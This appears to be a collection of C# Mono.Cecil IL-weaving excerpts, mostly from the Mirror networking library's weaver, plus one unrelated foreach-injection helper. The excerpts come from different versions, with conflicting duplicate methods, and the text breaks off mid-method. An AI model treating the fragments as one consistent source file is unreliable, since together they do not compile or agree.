public static void WriteCreateWriter(ILProcessor worker) { // create writer worker.Append(worker.Create(OpCodes.Call, Weaver.GetPooledWriterReference)); worker.Append(worker.Create(OpCodes.Stloc_0)); }
static void GenerateSerialization(TypeDefinition td) { Weaver.DLog(td, " GenerateSerialization"); MethodDefinition existingMethod = td.Methods.FirstOrDefault(md => md.Name == "Serialize"); if (existingMethod != null && !existingMethod.Body.IsEmptyDefault()) { return; } if (td.Fields.Count == 0) { return; } // check for self-referencing types foreach (FieldDefinition field in td.Fields) { if (field.FieldType.FullName == td.FullName) { Weaver.Error($"{td} has field ${field} that references itself"); return; } } MethodDefinition serializeFunc = existingMethod ?? new MethodDefinition("Serialize", MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig, Weaver.voidType); //only add to new method if (existingMethod == null) { serializeFunc.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkWriterType))); } ILProcessor serWorker = serializeFunc.Body.GetILProcessor(); if (existingMethod != null) { //remove default nop&ret from existing empty interface method serWorker.Body.Instructions.Clear(); } // if it is not a struct, call base if (!td.IsValueType) { // call base CallBase(td, serWorker, "Serialize"); } foreach (FieldDefinition field in td.Fields) { if (field.IsStatic || field.IsPrivate || field.IsSpecialName) { continue; } CallWriter(serWorker, field); } serWorker.Append(serWorker.Create(OpCodes.Ret)); //only add if not just replaced body if (existingMethod == null) { td.Methods.Add(serializeFunc); } }
public static MethodDefinition ProcessSyncVarGet(FieldDefinition fd, string originalName, FieldDefinition netFieldId) { //Create the get method MethodDefinition get = new MethodDefinition( "get_Network" + originalName, MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.HideBySig, fd.FieldType); ILProcessor getWorker = get.Body.GetILProcessor(); // [SyncVar] GameObject? if (fd.FieldType.FullName == Weaver.gameObjectType.FullName) { // return this.GetSyncVarGameObject(ref field, uint netId); // this. getWorker.Append(getWorker.Create(OpCodes.Ldarg_0)); getWorker.Append(getWorker.Create(OpCodes.Ldarg_0)); getWorker.Append(getWorker.Create(OpCodes.Ldfld, netFieldId)); getWorker.Append(getWorker.Create(OpCodes.Ldarg_0)); getWorker.Append(getWorker.Create(OpCodes.Ldflda, fd)); getWorker.Append(getWorker.Create(OpCodes.Call, Weaver.getSyncVarGameObjectReference)); getWorker.Append(getWorker.Create(OpCodes.Ret)); } // [SyncVar] NetworkIdentity? else if (fd.FieldType.FullName == Weaver.NetworkIdentityType.FullName) { // return this.GetSyncVarNetworkIdentity(ref field, uint netId); // this. getWorker.Append(getWorker.Create(OpCodes.Ldarg_0)); getWorker.Append(getWorker.Create(OpCodes.Ldarg_0)); getWorker.Append(getWorker.Create(OpCodes.Ldfld, netFieldId)); getWorker.Append(getWorker.Create(OpCodes.Ldarg_0)); getWorker.Append(getWorker.Create(OpCodes.Ldflda, fd)); getWorker.Append(getWorker.Create(OpCodes.Call, Weaver.getSyncVarNetworkIdentityReference)); getWorker.Append(getWorker.Create(OpCodes.Ret)); } // [SyncVar] int, string, etc. else { getWorker.Append(getWorker.Create(OpCodes.Ldarg_0)); getWorker.Append(getWorker.Create(OpCodes.Ldfld, fd)); getWorker.Append(getWorker.Create(OpCodes.Ret)); } get.Body.Variables.Add(new VariableDefinition(fd.FieldType)); get.Body.InitLocals = true; get.SemanticsAttributes = MethodSemanticsAttributes.Getter; return(get); }
static MethodDefinition GenerateArraySegmentWriteFunc(TypeReference variable, int recursionCount) { GenericInstanceType genericInstance = (GenericInstanceType)variable; TypeReference elementType = genericInstance.GenericArguments[0]; MethodReference elementWriteFunc = GetWriteFunc(elementType, recursionCount + 1); if (elementWriteFunc == null) { return(null); } string functionName = "_WriteArraySegment_" + elementType.Name + "_"; if (variable.DeclaringType != null) { functionName += variable.DeclaringType.Name; } else { functionName += "None"; } // create new writer for this type MethodDefinition writerFunc = new MethodDefinition(functionName, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig, Weaver.voidType); writerFunc.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkWriterType))); writerFunc.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.None, variable)); writerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type)); writerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type)); writerFunc.Body.InitLocals = true; ILProcessor worker = writerFunc.Body.GetILProcessor(); MethodReference countref = Weaver.ArraySegmentCountReference.MakeHostInstanceGeneric(genericInstance); // int length = value.Count; worker.Append(worker.Create(OpCodes.Ldarga_S, (byte)1)); worker.Append(worker.Create(OpCodes.Call, countref)); worker.Append(worker.Create(OpCodes.Stloc_0)); // writer.WritePackedInt32(length); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Call, GetWriteFunc(Weaver.int32Type))); // Loop through the ArraySegment<T> and call the writer for each element. // generates this: // for (int i=0; i< length; i++) // { // writer.Write(value.Array[i + value.Offset]); // } worker.Append(worker.Create(OpCodes.Ldc_I4_0)); worker.Append(worker.Create(OpCodes.Stloc_1)); Instruction labelHead = worker.Create(OpCodes.Nop); worker.Append(worker.Create(OpCodes.Br, labelHead)); // loop body Instruction labelBody = worker.Create(OpCodes.Nop); worker.Append(labelBody); // writer.Write(value.Array[i + value.Offset]); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Ldarga_S, (byte)1)); worker.Append(worker.Create(OpCodes.Call, Weaver.ArraySegmentArrayReference.MakeHostInstanceGeneric(genericInstance))); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ldarga_S, (byte)1)); worker.Append(worker.Create(OpCodes.Call, Weaver.ArraySegmentOffsetReference.MakeHostInstanceGeneric(genericInstance))); worker.Append(worker.Create(OpCodes.Add)); worker.Append(worker.Create(OpCodes.Ldelema, elementType)); worker.Append(worker.Create(OpCodes.Ldobj, elementType)); worker.Append(worker.Create(OpCodes.Call, elementWriteFunc)); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ldc_I4_1)); worker.Append(worker.Create(OpCodes.Add)); worker.Append(worker.Create(OpCodes.Stloc_1)); // end for loop worker.Append(labelHead); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Blt, labelBody)); // return worker.Append(worker.Create(OpCodes.Ret)); return(writerFunc); }
static MethodDefinition GenerateArraySegmentReadFunc(TypeReference variable, int recursionCount) { GenericInstanceType genericInstance = (GenericInstanceType)variable; TypeReference elementType = genericInstance.GenericArguments[0]; MethodReference elementReadFunc = GetReadFunc(elementType, recursionCount + 1); if (elementReadFunc == null) { return(null); } string functionName = "_ReadArraySegment_" + variable.GetElementType().Name + "_"; if (variable.DeclaringType != null) { functionName += variable.DeclaringType.Name; } else { functionName += "None"; } // create new reader for this type MethodDefinition readerFunc = new MethodDefinition(functionName, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig, variable); readerFunc.Parameters.Add(new ParameterDefinition("reader", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkReaderType))); // int lengh readerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type)); // T[] array readerFunc.Body.Variables.Add(new VariableDefinition(elementType.MakeArrayType())); // int i; readerFunc.Body.Variables.Add(new VariableDefinition(Weaver.int32Type)); readerFunc.Body.InitLocals = true; ILProcessor worker = readerFunc.Body.GetILProcessor(); // int length = reader.ReadPackedInt32(); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Call, GetReadFunc(Weaver.int32Type))); worker.Append(worker.Create(OpCodes.Stloc_0)); // T[] array = new int[length] worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Newarr, elementType)); worker.Append(worker.Create(OpCodes.Stloc_1)); // loop through array and deserialize each element // generates code like this // for (int i=0; i< length ; i++) // { // value[i] = reader.ReadXXX(); // } worker.Append(worker.Create(OpCodes.Ldc_I4_0)); worker.Append(worker.Create(OpCodes.Stloc_2)); Instruction labelHead = worker.Create(OpCodes.Nop); worker.Append(worker.Create(OpCodes.Br, labelHead)); // loop body Instruction labelBody = worker.Create(OpCodes.Nop); worker.Append(labelBody); // value[i] = reader.ReadT(); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Ldloc_2)); worker.Append(worker.Create(OpCodes.Ldelema, elementType)); worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Call, elementReadFunc)); worker.Append(worker.Create(OpCodes.Stobj, elementType)); worker.Append(worker.Create(OpCodes.Ldloc_2)); worker.Append(worker.Create(OpCodes.Ldc_I4_1)); worker.Append(worker.Create(OpCodes.Add)); worker.Append(worker.Create(OpCodes.Stloc_2)); // loop while check worker.Append(labelHead); worker.Append(worker.Create(OpCodes.Ldloc_2)); worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Blt, labelBody)); // return new ArraySegment<T>(array); worker.Append(worker.Create(OpCodes.Ldloc_1)); worker.Append(worker.Create(OpCodes.Newobj, Weaver.ArraySegmentConstructorReference.MakeHostInstanceGeneric(genericInstance))); worker.Append(worker.Create(OpCodes.Ret)); return(readerFunc); }
void GenerateDeSerialization(ref bool WeavingFailed) { const string DeserializeMethodName = "DeserializeSyncVars"; if (netBehaviourSubclass.GetMethod(DeserializeMethodName) != null) { return; } if (syncVars.Count == 0) { // no synvars, no need for custom OnDeserialize return; } MethodDefinition serialize = new MethodDefinition(DeserializeMethodName, MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig, weaverTypes.Import(typeof(void))); serialize.Parameters.Add(new ParameterDefinition("reader", ParameterAttributes.None, weaverTypes.Import <NetworkReader>())); serialize.Parameters.Add(new ParameterDefinition("initialState", ParameterAttributes.None, weaverTypes.Import <bool>())); ILProcessor serWorker = serialize.Body.GetILProcessor(); // setup local for dirty bits serialize.Body.InitLocals = true; VariableDefinition dirtyBitsLocal = new VariableDefinition(weaverTypes.Import <long>()); serialize.Body.Variables.Add(dirtyBitsLocal); MethodReference baseDeserialize = Resolvers.TryResolveMethodInParents(netBehaviourSubclass.BaseType, assembly, DeserializeMethodName); if (baseDeserialize != null) { // base serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // reader serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); // initialState serWorker.Append(serWorker.Create(OpCodes.Ldarg_2)); serWorker.Append(serWorker.Create(OpCodes.Call, baseDeserialize)); } // Generates: if (initialState); Instruction initialStateLabel = serWorker.Create(OpCodes.Nop); serWorker.Append(serWorker.Create(OpCodes.Ldarg_2)); serWorker.Append(serWorker.Create(OpCodes.Brfalse, initialStateLabel)); foreach (FieldDefinition syncVar in syncVars) { DeserializeField(syncVar, serWorker, ref WeavingFailed); } serWorker.Append(serWorker.Create(OpCodes.Ret)); // Generates: end if (initialState); serWorker.Append(initialStateLabel); // get dirty bits serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); serWorker.Append(serWorker.Create(OpCodes.Call, readers.GetReadFunc(weaverTypes.Import <ulong>(), ref WeavingFailed))); serWorker.Append(serWorker.Create(OpCodes.Stloc_0)); // conditionally read each syncvar // start at number of syncvars in parent int dirtyBit = syncVarAccessLists.GetSyncVarStart(netBehaviourSubclass.BaseType.FullName); foreach (FieldDefinition syncVar in syncVars) { Instruction varLabel = serWorker.Create(OpCodes.Nop); // check if dirty bit is set serWorker.Append(serWorker.Create(OpCodes.Ldloc_0)); serWorker.Append(serWorker.Create(OpCodes.Ldc_I8, 1L << dirtyBit)); serWorker.Append(serWorker.Create(OpCodes.And)); serWorker.Append(serWorker.Create(OpCodes.Brfalse, varLabel)); DeserializeField(syncVar, serWorker, ref WeavingFailed); serWorker.Append(varLabel); dirtyBit += 1; } // add a log message if needed for debugging //serWorker.Append(serWorker.Create(OpCodes.Ldstr, $"Injected Deserialize {netBehaviourSubclass.Name}")); //serWorker.Append(serWorker.Create(OpCodes.Call, WeaverTypes.logErrorReference)); serWorker.Append(serWorker.Create(OpCodes.Ret)); netBehaviourSubclass.Methods.Add(serialize); }
/* * generates code like: * * public void RpcTest (int param) * { * NetworkWriter writer = new NetworkWriter (); * writer.WritePackedUInt32((uint)param); * base.SendRPCInternal(typeof(class),"RpcTest", writer, 0); * } * public void CallRpcTest (int param) * { * // whatever the user did before * } * * Originally HLAPI put the send message code inside the Call function * and then proceeded to replace every call to RpcTest with CallRpcTest * * This method moves all the user's code into the "CallRpc" method * and replaces the body of the original method with the send message code. * This way we do not need to modify the code anywhere else, and this works * correctly in dependent assemblies */ public static MethodDefinition ProcessRpcCall(TypeDefinition td, MethodDefinition md, CustomAttribute clientRpcAttr) { MethodDefinition rpc = MethodProcessor.SubstituteMethod(td, md); ILProcessor worker = md.Body.GetILProcessor(); NetworkBehaviourProcessor.WriteSetupLocals(worker); if (Weaver.GenerateLogErrors) { worker.Append(worker.Create(OpCodes.Ldstr, "Call ClientRpc function " + md.Name)); worker.Append(worker.Create(OpCodes.Call, WeaverTypes.logErrorReference)); } NetworkBehaviourProcessor.WriteCreateWriter(worker); // write all the arguments that the user passed to the Rpc call if (!NetworkBehaviourProcessor.WriteArguments(worker, md, RemoteCallType.ClientRpc)) { return(null); } string rpcName = md.Name; int channel = clientRpcAttr.GetField("channel", 0); bool excludeOwner = clientRpcAttr.GetField("excludeOwner", false); // invoke SendInternal and return // this worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Ldtoken, td)); // invokerClass worker.Append(worker.Create(OpCodes.Call, WeaverTypes.getTypeFromHandleReference)); worker.Append(worker.Create(OpCodes.Ldstr, rpcName)); // writer worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Ldc_I4, channel)); worker.Append(worker.Create(excludeOwner ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0)); worker.Append(worker.Create(OpCodes.Callvirt, WeaverTypes.sendRpcInternal)); NetworkBehaviourProcessor.WriteRecycleWriter(worker); worker.Append(worker.Create(OpCodes.Ret)); return(rpc); }
/// <summary> /// Appends a basic op code. /// </summary> /// <param name="il">The il.</param> /// <param name="opCode">The op code.</param> public static void Append(this ILProcessor il, OpCode opCode) { il.Append(il.Create(opCode)); }
private void InjectForeach <T>(InjectorArgs args, VariableDefinition list, Action <VariableDefinition> action) { MethodDefinition method = args.OriginMethod; ILProcessor ilprosor = args.ILProcessor; // 初始化变量 if (!_foreachItemDic.ContainsKey(typeof(IEnumerator <T>)) || args.VarEnumerator == null) { args.VarEnumerator = new VariableDefinition(method.Module.Import(typeof(IEnumerator <T>))); method.Body.Variables.Add(args.VarEnumerator); if (!_foreachItemDic.ContainsKey(typeof(IEnumerator <T>))) { _foreachItemDic.Add(typeof(IEnumerator <T>), true); } } if (args.VarHasNext == null) { args.VarHasNext = new VariableDefinition(method.Module.Import(typeof(bool))); method.Body.Variables.Add(args.VarHasNext); } if (!_foreachItemDic.ContainsKey(typeof(T)) || args.VarItem == null) { args.VarItem = new VariableDefinition(method.Module.Import(typeof(T))); method.Body.Variables.Add(args.VarItem); if (!_foreachItemDic.ContainsKey(typeof(T))) { _foreachItemDic.Add(typeof(T), true); } } var tryStart = ilprosor.Create(OpCodes.Nop); var handlerEnd = ilprosor.Create(OpCodes.Nop); var tryEnd = ilprosor.Create(OpCodes.Nop); //var tryEnd = ilprosor.Create(OpCodes.Leave, handlerEnd); var finallyStart = ilprosor.Create(OpCodes.Nop); var finallyEnd = ilprosor.Create(OpCodes.Endfinally); // list.GetEnumerator() ilprosor.Append(ilprosor.Create(OpCodes.Ldloc, list)); ilprosor.Append(ilprosor.Create(OpCodes.Callvirt, method.Module.Import(typeof(MAList).GetMethod("GetEnumerator", new Type[] { })))); ilprosor.Append(ilprosor.Create(OpCodes.Stloc, args.VarEnumerator)); // 注意顺序 只有获取到VarEnumerator才可以初始化以下指令 var loopStart = ilprosor.Create(OpCodes.Ldloc, args.VarEnumerator); var moveNextStart = ilprosor.Create(OpCodes.Ldloc, args.VarEnumerator); // try{ while(list.MoveNext()){ var item = list.get_Current(); action(item); } } ilprosor.Append(tryStart); ilprosor.Append(ilprosor.Create(OpCodes.Br, moveNextStart)); ilprosor.Append(loopStart); ilprosor.Append(ilprosor.Create(OpCodes.Callvirt, method.Module.Import(typeof(IEnumerator <T>).GetMethod("get_Current", new Type[] { })))); ilprosor.Append(ilprosor.Create(OpCodes.Stloc, args.VarItem)); if (action != null) { action(args.VarItem); } ilprosor.Append(moveNextStart); ilprosor.Append(ilprosor.Create(OpCodes.Callvirt, method.Module.Import(typeof(IEnumerator).GetMethod("MoveNext", new Type[] { })))); ilprosor.Append(ilprosor.Create(OpCodes.Stloc, args.VarHasNext)); ilprosor.Append(ilprosor.Create(OpCodes.Ldloc, args.VarHasNext)); ilprosor.Append(ilprosor.Create(OpCodes.Brtrue, loopStart)); ilprosor.Append(ilprosor.Create(OpCodes.Leave, handlerEnd)); // // finally{ // if( VarEnumerator!=null ) // { VarEnumerator.Dispose(); } // } ilprosor.Append(finallyStart); ilprosor.Append(ilprosor.Create(OpCodes.Ldloc, args.VarEnumerator)); ilprosor.Append(ilprosor.Create(OpCodes.Ldnull)); ilprosor.Append(ilprosor.Create(OpCodes.Ceq)); ilprosor.Append(ilprosor.Create(OpCodes.Stloc_S, args.VarHasNext)); ilprosor.Append(ilprosor.Create(OpCodes.Ldloc_S, args.VarHasNext)); ilprosor.Append(ilprosor.Create(OpCodes.Brtrue_S, handlerEnd)); ilprosor.Append(ilprosor.Create(OpCodes.Ldloc, args.VarEnumerator)); ilprosor.Append(ilprosor.Create(OpCodes.Callvirt, method.Module.Import(typeof(System.IDisposable).GetMethod("Dispose", new Type[] { })))); ilprosor.Append(ilprosor.Create(OpCodes.Nop)); ilprosor.Append(finallyEnd); ilprosor.Append(handlerEnd); //ilprosor.Append(end); ilprosor.Append(ilprosor.Create(OpCodes.Nop)); // HandlerStart HandlerEnd 表示ExceptionHandlerType处理的开始及结束位置 method.Body.ExceptionHandlers.Add(new ExceptionHandler(ExceptionHandlerType.Finally) { HandlerEnd = handlerEnd, HandlerStart = finallyStart, TryEnd = finallyStart, TryStart = tryStart }); }
void DeserializeField(FieldDefinition syncVar, ILProcessor serWorker, MethodDefinition deserialize) { // check for Hook function MethodDefinition hookMethod = SyncVarProcessor.GetHookMethod(netBehaviourSubclass, syncVar); // [SyncVar] GameObject/NetworkIdentity? /* * Generates code like: * uint oldNetId = ___qNetId; * // returns GetSyncVarGameObject(___qNetId) * GameObject oldSyncVar = syncvar.getter; * ___qNetId = reader.ReadPackedUInt32(); * if (!SyncVarEqual(oldNetId, ref ___goNetId)) * { * // getter returns GetSyncVarGameObject(___qNetId) * OnSetQ(oldSyncVar, syncvar.getter); * } */ if (syncVar.FieldType.FullName == Weaver.gameObjectType.FullName || syncVar.FieldType.FullName == Weaver.NetworkIdentityType.FullName) { // GameObject/NetworkIdentity SyncVar: // OnSerialize sends writer.Write(go); // OnDeserialize reads to __netId manually so we can use // lookups in the getter (so it still works if objects // move in and out of range repeatedly) FieldDefinition netIdField = syncVarNetIds[syncVar]; // uint oldNetId = ___qNetId; var oldNetId = new VariableDefinition(Weaver.uint32Type); deserialize.Body.Variables.Add(oldNetId); serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Ldfld, netIdField)); serWorker.Append(serWorker.Create(OpCodes.Stloc, oldNetId)); // GameObject/NetworkIdentity oldSyncVar = syncvar.getter; var oldSyncVar = new VariableDefinition(syncVar.FieldType); deserialize.Body.Variables.Add(oldSyncVar); serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar)); serWorker.Append(serWorker.Create(OpCodes.Stloc, oldSyncVar)); // read id and store in netId field BEFORE calling the hook // -> this makes way more sense. by definition, the hook is // supposed to be called after it was changed. not before. // -> setting it BEFORE calling the hook fixes the following bug: // https://github.com/vis2k/Mirror/issues/1151 in host mode // where the value during the Hook call would call Cmds on // the host server, and they would all happen and compare // values BEFORE the hook even returned and hence BEFORE the // actual value was even set. // put 'this.' onto stack for 'this.netId' below serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // reader. for 'reader.Read()' below serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); // Read() serWorker.Append(serWorker.Create(OpCodes.Call, Readers.GetReadFunc(Weaver.uint32Type))); // netId serWorker.Append(serWorker.Create(OpCodes.Stfld, netIdField)); if (hookMethod != null) { // call Hook(this.GetSyncVarGameObject/NetworkIdentity(reader.ReadPackedUInt32())) // because we send/receive the netID, not the GameObject/NetworkIdentity // but only if SyncVar changed. otherwise a client would // get hook calls for all initial values, even if they // didn't change from the default values on the client. // see also: https://github.com/vis2k/Mirror/issues/1278 // IMPORTANT: for GameObjects/NetworkIdentities we usually // use SyncVarGameObjectEqual to compare equality. // in this case however, we can just use // SyncVarEqual with the two uint netIds. // => this is easier weaver code because we don't // have to get the GameObject/NetworkIdentity // from the uint netId // => this is faster because we void one // GetComponent call for GameObjects to get // their NetworkIdentity when comparing. // Generates: if (!SyncVarEqual); Instruction syncVarEqualLabel = serWorker.Create(OpCodes.Nop); // 'this.' for 'this.SyncVarEqual' serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // 'oldNetId' serWorker.Append(serWorker.Create(OpCodes.Ldloc, oldNetId)); // 'ref this.__netId' serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Ldflda, netIdField)); // call the function var syncVarEqualGm = new GenericInstanceMethod(Weaver.syncVarEqualReference); syncVarEqualGm.GenericArguments.Add(netIdField.FieldType); serWorker.Append(serWorker.Create(OpCodes.Call, syncVarEqualGm)); serWorker.Append(serWorker.Create(OpCodes.Brtrue, syncVarEqualLabel)); // call the hook // this. serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // oldSyncVar GO/NI serWorker.Append(serWorker.Create(OpCodes.Ldloc, oldSyncVar)); // this. serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // syncvar.get (finds current GO/NI from netId) serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar)); serWorker.Append(serWorker.Create(OpCodes.Callvirt, hookMethod)); // Generates: end if (!SyncVarEqual); serWorker.Append(syncVarEqualLabel); } } // [SyncVar] int/float/struct/etc.? /* * Generates code like: * // for hook * int oldValue = a; * Networka = reader.ReadPackedInt32(); * if (!SyncVarEqual(oldValue, ref a)) * { * OnSetA(oldValue, Networka); * } */ else { MethodReference readFunc = Readers.GetReadFunc(syncVar.FieldType); if (readFunc == null) { Weaver.Error($"{syncVar} has unsupported type. Use a supported Mirror type instead"); return; } // T oldValue = value; var oldValue = new VariableDefinition(syncVar.FieldType); deserialize.Body.Variables.Add(oldValue); serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar)); serWorker.Append(serWorker.Create(OpCodes.Stloc, oldValue)); // read value and store in syncvar BEFORE calling the hook // -> this makes way more sense. by definition, the hook is // supposed to be called after it was changed. not before. // -> setting it BEFORE calling the hook fixes the following bug: // https://github.com/vis2k/Mirror/issues/1151 in host mode // where the value during the Hook call would call Cmds on // the host server, and they would all happen and compare // values BEFORE the hook even returned and hence BEFORE the // actual value was even set. // put 'this.' onto stack for 'this.syncvar' below serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // reader. for 'reader.Read()' below serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); // reader.Read() serWorker.Append(serWorker.Create(OpCodes.Call, readFunc)); // syncvar serWorker.Append(serWorker.Create(OpCodes.Stfld, syncVar)); if (hookMethod != null) { // call hook // but only if SyncVar changed. otherwise a client would // get hook calls for all initial values, even if they // didn't change from the default values on the client. // see also: https://github.com/vis2k/Mirror/issues/1278 // Generates: if (!SyncVarEqual); Instruction syncVarEqualLabel = serWorker.Create(OpCodes.Nop); // 'this.' for 'this.SyncVarEqual' serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // 'oldValue' serWorker.Append(serWorker.Create(OpCodes.Ldloc, oldValue)); // 'ref this.syncVar' serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Ldflda, syncVar)); // call the function var syncVarEqualGm = new GenericInstanceMethod(Weaver.syncVarEqualReference); syncVarEqualGm.GenericArguments.Add(syncVar.FieldType); serWorker.Append(serWorker.Create(OpCodes.Call, syncVarEqualGm)); serWorker.Append(serWorker.Create(OpCodes.Brtrue, syncVarEqualLabel)); // call the hook // this. serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // oldvalue serWorker.Append(serWorker.Create(OpCodes.Ldloc, oldValue)); // this. serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // syncvar.get serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar)); serWorker.Append(serWorker.Create(OpCodes.Callvirt, hookMethod)); // Generates: end if (!SyncVarEqual); serWorker.Append(syncVarEqualLabel); } } }
void GenerateDeSerialization() { Weaver.DLog(netBehaviourSubclass, " GenerateDeSerialization"); if (netBehaviourSubclass.GetMethod("OnDeserialize") != null) { return; } if (syncVars.Count == 0) { // no synvars, no need for custom OnDeserialize return; } var serialize = new MethodDefinition("OnDeserialize", MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig, Weaver.voidType); serialize.Parameters.Add(new ParameterDefinition("reader", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkReaderType))); serialize.Parameters.Add(new ParameterDefinition("initialState", ParameterAttributes.None, Weaver.boolType)); ILProcessor serWorker = serialize.Body.GetILProcessor(); // setup local for dirty bits serialize.Body.InitLocals = true; var dirtyBitsLocal = new VariableDefinition(Weaver.int64Type); serialize.Body.Variables.Add(dirtyBitsLocal); MethodReference baseDeserialize = Resolvers.ResolveMethodInParents(netBehaviourSubclass.BaseType, Weaver.CurrentAssembly, "OnDeserialize"); if (baseDeserialize != null) { // base serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // reader serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); // initialState serWorker.Append(serWorker.Create(OpCodes.Ldarg_2)); serWorker.Append(serWorker.Create(OpCodes.Call, baseDeserialize)); } // Generates: if (initialState); Instruction initialStateLabel = serWorker.Create(OpCodes.Nop); serWorker.Append(serWorker.Create(OpCodes.Ldarg_2)); serWorker.Append(serWorker.Create(OpCodes.Brfalse, initialStateLabel)); foreach (FieldDefinition syncVar in syncVars) { DeserializeField(syncVar, serWorker, serialize); } serWorker.Append(serWorker.Create(OpCodes.Ret)); // Generates: end if (initialState); serWorker.Append(initialStateLabel); // get dirty bits serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); serWorker.Append(serWorker.Create(OpCodes.Call, Readers.GetReadFunc(Weaver.uint64Type))); serWorker.Append(serWorker.Create(OpCodes.Stloc_0)); // conditionally read each syncvar // start at number of syncvars in parent int dirtyBit = Weaver.GetSyncVarStart(netBehaviourSubclass.BaseType.FullName); foreach (FieldDefinition syncVar in syncVars) { Instruction varLabel = serWorker.Create(OpCodes.Nop); // check if dirty bit is set serWorker.Append(serWorker.Create(OpCodes.Ldloc_0)); serWorker.Append(serWorker.Create(OpCodes.Ldc_I8, 1L << dirtyBit)); serWorker.Append(serWorker.Create(OpCodes.And)); serWorker.Append(serWorker.Create(OpCodes.Brfalse, varLabel)); DeserializeField(syncVar, serWorker, serialize); serWorker.Append(varLabel); dirtyBit += 1; } if (Weaver.GenerateLogErrors) { serWorker.Append(serWorker.Create(OpCodes.Ldstr, "Injected Deserialize " + netBehaviourSubclass.Name)); serWorker.Append(serWorker.Create(OpCodes.Call, Weaver.logErrorReference)); } serWorker.Append(serWorker.Create(OpCodes.Ret)); netBehaviourSubclass.Methods.Add(serialize); }
void GenerateSerialization() { Weaver.DLog(netBehaviourSubclass, " GenerateSerialization"); if (netBehaviourSubclass.GetMethod("OnSerialize") != null) { return; } if (syncVars.Count == 0) { // no synvars, no need for custom OnSerialize return; } var serialize = new MethodDefinition("OnSerialize", MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig, Weaver.boolType); serialize.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkWriterType))); serialize.Parameters.Add(new ParameterDefinition("forceAll", ParameterAttributes.None, Weaver.boolType)); ILProcessor serWorker = serialize.Body.GetILProcessor(); serialize.Body.InitLocals = true; // loc_0, this local variable is to determine if any variable was dirty var dirtyLocal = new VariableDefinition(Weaver.boolType); serialize.Body.Variables.Add(dirtyLocal); MethodReference baseSerialize = Resolvers.ResolveMethodInParents(netBehaviourSubclass.BaseType, Weaver.CurrentAssembly, "OnSerialize"); if (baseSerialize != null) { // base serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); // writer serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); // forceAll serWorker.Append(serWorker.Create(OpCodes.Ldarg_2)); serWorker.Append(serWorker.Create(OpCodes.Call, baseSerialize)); // set dirtyLocal to result of base.OnSerialize() serWorker.Append(serWorker.Create(OpCodes.Stloc_0)); } // Generates: if (forceAll); Instruction initialStateLabel = serWorker.Create(OpCodes.Nop); // forceAll serWorker.Append(serWorker.Create(OpCodes.Ldarg_2)); 